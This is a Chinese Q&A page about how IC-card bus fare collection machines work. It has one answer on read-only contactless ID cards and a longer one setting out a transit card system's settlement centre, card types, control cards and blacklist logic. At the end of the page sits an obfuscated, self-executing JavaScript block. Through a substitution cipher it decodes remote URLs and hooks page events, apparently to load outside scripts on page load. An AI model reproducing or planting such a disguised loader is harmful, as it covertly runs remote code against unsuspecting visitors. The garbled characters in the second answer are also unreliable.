IC卡公交车收费机工作原理及流程?

求工作原理,需要什么设备,最好有详细的方案。分可以再加!
2025-02-22 10:19:50
推荐回答(2个)
回答1:

ID卡即为THRC12/13只读式非接触IC卡,它靠读卡器感应供电并读出存储在芯片EEPROM中的唯一卡号,卡号在封卡前一次写入,封卡后不能更改。无源和免接触是该芯片两个最突出的特点,射频接口电路是关键的核心技术,它从读卡器接收射频能量,为芯片产生电源和时钟,并采用相移键控和加载调幅等技术实现卡与读卡器间的无线通讯。非接触式ID卡具有操作方便、快捷、可靠等突出优点,获得了广泛应用。

1、ID卡主要特点

★载波频率为125KHZ(THRC12)或13.56MHZ(THRC13);

★卡向读卡器传送数据的调制方式为加载调幅;

★卡内数据编码采用抗干扰能力强的BPSK相移键控方式;

★卡向读卡器数据传送速率为3.9kbps(THRC12)或6.62kbps(THRC13);

★数据存储采用EEPROM,数据保存时间超过10年;

★数据存储容量共64位,包括制造商、发行商和用户代码;

★卡号在封卡前写入后不可再更改,绝对确保卡号的唯一性和安全性;

★T HRC13芯片除封装成标准卡片形状外,还可根据应用需要封装成筹码等多种形状。

2、ID卡工作原理

系统由卡、读卡器和后台控制器组成(见框图)。工作过程如下:

(1)读卡器将载波信号经天线向外发送;

(2)卡进入读卡器的工作区域后,由卡中电感线圈和电容组成的谐振回路接收读卡器发射的载波信号,卡中芯片的射频接口模块由此信号产生出电源电压、复位信号及系统时钟,使芯片“激活”;

(3)芯片读取控制模块将存储器中的数据经调相编码后调制在载波上,经卡内天线回送给读卡器;

(4)读卡器对接收到的卡回送信号进行解调、解码后送至后台计算机;

(5)后台计算机根据卡号的合法性,针对不同应用做出相应的处理和控制。

3、ID卡应用范围

与接触式IC卡相比,非接触式ID卡无需插拔卡,避免了由于机械接触不良导致的各种故障,因而具有操作方便、快捷、可靠、寿命长等突出优点,特别适用于人流量大的场合。THRC12/13非接触式ID卡主要可应用于身份识别和寻址控制,如门禁、保安、考勤等领域,也可扩展应用到展览会、公园、旅店、餐厅等公共场所的门票、优惠卡等。以及生产过程、邮政包裹、航空铁路运输、产品包装、交通等部门的物流、电子标签、防伪标志、一次性票证等众多领域。虽然它仅是一种只读卡,但利用后台计算机控制管理,即使是涉及收费管理的问题也可以在一定范围应用,如食堂就餐收费管理等。针对具体应用,可将持卡人的个人资料送入后台计算机,建立数据库并配置应用软件,使用时通过读卡器将读到的卡号送至后台计算机,从数据库中调出持卡人的个人资料,而后根据具体应进行操作,因而应用范围极其广阔。

回答2:

第一章 公交IC卡收费运作模式
1.1 概述
"城市公共交通非接触式IC卡收费系统"是要把目前的公共汽车无人售票.和其他售票方式改为:以非接触式IC卡作为储值卡支付手段,以计算机系统为信息处理方法的现代化信息管理系统.一方面加快公共汽车的收费速度.提高效率,全市通用,方便市民,提高服务质量;另一方面是自动处理公交信息,准确结算,为公交企业内部管理,领导决策提供科学依据.
公交IC卡收费系统可建议采用二级管理模式,一个公交结算中心,若干个分公司子系统以及若干个售卡充值点.分公司子系统与公交结算中心通过广域网连接;充值点与公交结算中心通过拨号上网方式联结.
1.2公交结算中心
公交结算中心直属公交总公司.负责系统的安全管理,非接触式IC卡的发行,及客户服务功能.集中管理发卡,充值所得的资金;负责汇总收集各个分公司的营运数据,根据汇总收集的数据进行发卡,充值所得资金的再分配,协调处理各个分公司之间的问题.
公交结算中心负责对乘客卡票种的设定和针对各票种的折扣的设定;由于政策和营运等方面的要求,线路或票价是可以变动的,其变动由公交公司决定,并通过公交结算中心予以执行.
公交结算中心保留有整个公交收费系统的所有数据,并对这些数据管理和存储.与各分公司重合部分的数据,应以结算中心的数据为准,各分公司处理子系统只是下载与自己相关的数据.
公交结算中心还负责与IC卡有关的公司,与外部的帐务往来处理,资金结算的产生,并对公交公司内部财务管理提供数据接口.
1.3分公司处理子系统
分公司处理子系统在行政上属分公司领导,业务上直属公交结算中心管理.
分公司处理子系统负责收集,存储,汇总所属各线路,车辆运营数据及每天定时将收集的详细记录数据向公交结算中心传送.各分公司处理子系统除了不具备IC卡管理模块和控制卡管理模块及公共查询模块外,其他与公交中心子系统基本相似.
但各分公司处理子系统具有班次排定功能.这包括各个线路首班发车时间,各班次的发车间隔时间的设定,以及与各班次相对应的司机及售票员班次的排定,事后检查等功能.有关班次的数据,在各个分公司处理子系统产生并储存,但必须同时上传到公交结算中心,并保证中心与各分公司数据的一致性.
原始交易记录原则上由各个分公司负责采集.采集数据的汇总可采用两种方式进行:一是由各个分公司进行汇总,录入到本公司局域网,再传送的公交结算中心;二是由公交结算中心负责采集汇总,原始交易记录直接录入结算中心局域网.不论哪种方式,各个分公司只能存储自己的原始交易记录,或只能向公交结算中心查询自己的原始交易记录.并且,当本公司的记录与结算中心的记录不一致时,应以结算中心的记录为准.
1.4 售卡充值子系统
售卡充值子系统由公交结算中心直接领导.负责销售乘客卡和对乘客卡进行充值,并记录相应的信息,以及负责客户的乘客卡查询工作.售卡充值点可分为公交公司直属发行点和向社会提供的代理发行点服务业务两种形式.代理发行点的申请,必须经过收取保证金,签定代理合同,充值金额限定,设备授权等过程.
售卡充值点的原始数据通过拨号上网方式直接上传给公交结算中心,并从结算中心下载或查询黑名单数据,以及完成其他的客户查询业务.
1.5票务模式
1.5.1 票卡种类
我们向业主推荐以下常见的用户卡模式,分别为成人卡,学生卡,老人卡,家属卡和员工卡.这些卡种除老人卡,家属卡和员工卡外,其余为储值卡.其中老人卡,家属卡和员工卡一般都有有效期限制,且一律配印个人彩色照片,具体说明如下.
1.5.2 成人卡
其适用范围包括乘车,加油,购物,住宿,用餐,停车等方面的消费业务.该卡种没有有效期的限制,只要卡上电子钱包的余额不为零就可以消费.
乘客使用通用卡时,车载机即时扣除当次车程的车费,并对乘客进行余值提示.当成人卡的储值余值低于当次车程的车费时,车载机发出报警信号,提示乘客和司机.此时乘客只投币乘车.且该成人卡只有经过再次充值后才能使用.
成人卡在初次发行时收取一定数量的押金,待使用一定的年限后,可考虑押金退还.
车载机在处理上述8种票卡时,以不同的语音和显示进行区别.
1.5.3 学生卡
学生卡只能乘车,且必须有个人化信息,票卡表面印制个人相片.学生卡可以有多个卡种,每个卡种有自己特定的不同的优惠(折扣率).成人卡不具有通用性,必须一人一卡使用,且不能供多人同时使用.乘客使用学生卡时,车载机即时按该票种的折扣率扣除当次车程的折扣车费,并对乘客进行余值提示.同时车载机提示特定的声响和显示,帮助司机或乘务员确定学生卡持卡人的合法性.
学生卡初次申请时,申请人应提供表明个人身份,年龄,职业等信息的个人资料,以审核其享受学生卡的资格.申请人也需交纳一定数量的押金.
学生卡具有时间限制,需定期进行有效期的核查(比如以年周期为单位时间的年审),以决定原持卡人是否有资格继续使用.超过有效期的优惠卡,在未重新刷新其有效期信息之前,车载机将拒绝其消费.
1.5.4 员工卡
为公交公司内部发行的卡种.该卡种对外可作为一种乘客卡使用.车载机对该票种进行全额收费(也可只做为身份验收证,具体应用可根据公交需求而定),并提示特定的声光和显示.该票种必须是公交公司内部职工才能拥有,且具有有效期的限制.结算中心将定期检查持卡人身份的有效性(现职在岗公交内部职工),并刷新卡上有效期信息.在卡的初次发行时,员工卡内钱包金额数可按内部特定值进行设定,公交公司内部可按全额或固定的比例对职工提供乘车减免服务.超过有效期而未上缴或重新刷新有效期信息的职工卡,将作为黑卡处理.
员工卡在公交公司内部可作为"工作证"使用.如记录持卡人的考勤,食堂进餐,加油情况(司机卡)等,以及其他可能的内部管理用途.
员工卡表面印刷应与一般的乘客卡有明显区别.除印有职工个人相片外,还应有所属部门,职务,工作岗位,姓名,年龄等个人信息.
1.5.5 老人卡
专为老人设置的卡种,初次发行时,申请人应提供证明个人身份,年龄的材料.申请人除需交纳卡租金外,不需再交纳其他任何费用.车载机记录老人乘车记录时是按次记录,每乘一次车,车载机按次记录一条记录.该卡种也为个人化卡,表面印制申请人的相片,仅限一人一卡使用,不可一卡多人同时消费.
该卡有严格的有效期限制,需定期年审,以确定持卡人是否健在,是否离开本市等.车载机将拒绝未经年审的老人卡进行乘车消费.
1.5.6 家属卡
为乘次卡,即每个月的乘车次数是限定的,用户乘车不可超过限定次数.用户可提前一个月购买乘车次数,即卡上可有两个月的充次数据同时存在,但本月次数用完不可借用下月的次数.
该卡也为个人化卡类,表面印制申请人的相片,仅限一人使用,不可转借,不可一卡多人同时消费.初次发行时,申请人只需交纳一定数量的卡押金,
1.6 收费模式
公交的IC卡收费模式将采用一票制,多票制同时并存的方式.采用一票制的车载机,其票价是固定的,并预先设定好,乘客只需直接一次刷卡完成交易.
多票制的车载机,其票价由乘客乘车的站点数而定.具体的实现方法是:
因为采用多票制的公交车不可能实行自动投币,必定有乘务员售票和对乘客进行监督,所以可以选用手持式车载机,对于使用IC卡乘车的乘客乘务员只需通过手持车载机就可对其实现收费.
1.7 管理卡模式:
1.7.1 管理卡种类
管理卡按其种类分有接触式CPU卡和非接触式M1卡两种类型.其中CPU卡包括初始化卡,售卡充值卡,设备授权卡,数据转换卡,控制专用卡等实现密钥的传递,下载和保证系统安全性的控制卡类;非接触式M1卡则直接负责对车载机的控制设置,如车号,线路,数码设置,票价,时间,显示及刷卡延迟,票价调整,收费启动,发车,到站,司机卡,机数据采集等等.控制卡与乘客卡都是非接触式M1卡,但他们互不通用,控制卡不能乘车交易.各种卡类的功能设置如下所述.
1.7.2 CPU控制卡类
1.7.2.1 CPU母卡
用于承载整个公交公司最高级的密钥.CPU母卡不可重复再生.CPU母卡的主密钥受个人密码PIN控制,在使用母卡时必须输入正确的PIN,才能合法使用母卡的主密钥,从而实现密钥的使用与拥有者的隔离;
1.7.2.2 CPU控制专用卡
生成各种M1型控制卡的母卡;
1.7.2.3 CPU充值专用卡
用于售卡充值(次)时,对操作员身份的合法性进行认证.同时,在离线式代理售卡充值方式下,也可在充值专用卡中设定容许累计的最大充值金额;每次充值时该值递减,直到该值减为零后,代理人员需到结算中心交纳费用,并重新对充值专用卡充值后,才能继续对乘客卡充值;
1.7.2.4 CPU初始化专用卡
用于对新卡初始化.新卡经初始化以后成为白卡;
1.7.2.5 CPU数据转换卡
用于对加密数据包文件的解密.车载机上的交易数据在被采集到采集盒上时,是以特定名称的加密文件包的形式保存.为保证系统数据的安全性,只有专门的密钥才能对其解密.而数据转换卡上装载有包文件的解密密钥;
1.7.2.6 CPU设备授权卡
用于对设备的授权操作.设备必须经过授权才能在公交系统中使用;
1.7.3 M1控制卡类
1.7.3.1 线路设置卡
用于设置车杂技所属车辆的线路,分线路,票价折扣,附加费折扣等信息;
1.7.3.2 司机卡
车载机对司机身份确认,也可作员工卡使用.司机卡刷卡一次,则在车载机中产生一条管理记录,该记录中含有时间信息,记录该司机开始运营的时间,同时车载机的收费功能被开启,车载机随后记录的交易记录都属于该司机的运营业绩.当该司机再次刷卡后,车载机机上也产生一条带时间信息的管理记录,同时收费功能关闭.
1.7.3.3 站务员卡
控制线路设置卡的使用.对公交车辆的线路设置,必须先刷站务员卡,才能使用线路设置卡.因线路设置卡中含有收费价格信息,对其使用必须加以控制.
1.7.3.4 延时卡
刷卡延迟,显示延迟等参数的设置.刷卡延迟是指当车载机接受一张乘客卡的刷卡操作后,在一定的延迟时间内不再接受另一张卡的操作,从而避免乘客因不小心造成的两次刷卡(比如老人,小孩).刷卡延迟一般设为1秒或1.5秒;显示延迟是指一次刷卡动作后,车载机显示相应的回应信息的延迟时间.比如乘客卡刷卡一次,则车载机显示该卡卡种,本次交易金额,卡中余额等信息,显示的时间长短手显示延迟控制.
1.7.3.5 数据采集卡
用于将车载机上的数据采集到采集盒中;
1.7.3.6 设备设置卡
设置车载机的设备号.车载机的设备号一般与其所在车辆的标识号相对应.该对应关系也记录在后台数据库管理系统中.
1.7.3.7 数码设置卡
与设备设置卡,线路设置卡配合使用,设定车载机某个参数的具体数值.
1.7.3.8 发车卡
记录和控制司机发车情况.由调度员刷卡,同时车载机上产生一条带时间信息的管理记录,记录调度员的调度情况.该记录可与分公司后台设定的班次相比对,对准点率等情况进行考核.
1.7.3.9 到站卡
记录司机的到站情况,与发车卡配合使用.由调度员刷卡,同时车载机上产生一条带时间信息的管理记录.该记录可与分公司后台设定的班次相比对,对准点率等情况进行考核.
1.8 关于黑名单
黑名单卡有两种大的来源.一是乘客卡类,如各种伪造卡,欠费卡,非法卡等等;二是内部管理卡.而内部管理卡特别是车载机的设置卡,由于跟票价,优惠等敏感参数息息相关,因此如果被恶意使用对公交公司造成的经济损失会更大.内部管理卡变为黑名单卡有以下几种可能性:
�9�9持卡的员工离职或调离原工作岗位而未上缴管理卡;
�9�9卡片丢失或失窃;
�9�9故障卡未立即回收处理;
因此业主在控制卡的管理上必须十分严格,并建立完善的管理卡管理制度.
由于车辆运营的特殊需求,车载机是离线式终端,不可能实时与管理中心通讯,因此每天对车载机进行黑名单的更新是十分必要的.
车载机在双备份的状态下可保留2000条黑名单记录,在普通情况下可保留4000条黑名单记录.由于车载机本身容量的限制,黑名单的记录数不可能太大.另外,即使保留了大量的黑名单记录,也会影响正常的乘客卡交易时间,得不偿失.再者,由于本系统在交易算法上进行了优化,使车载机能控制的黑卡数量远远大于其内部的黑名单记录数.车载机在确认合法乘客卡时,其工作流程如下:
检查该卡有无黑名单标志(已标记为黑卡),充值金额是否为零,若条件满足,则车载机发出报警信号,停止交易;
没有黑名单标志时,再检查该卡卡号是否在车载机黑名单记录中出现,若该卡卡号是黑名单卡号,则进行相应的处理:
在该卡上作黑名单标志,同时将卡中钱包金额扣减为零;
车载机发出报警信号,停止交易;
将该卡卡号从黑名单记录中删除(已不需要),黑名单记录数少一;
在以上两步通过后,开始正常的收费记录;
可见,车载机须保留的仅是"未作标志"的黑名单记录,且在具体交易中黑名单记录数会减少.

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();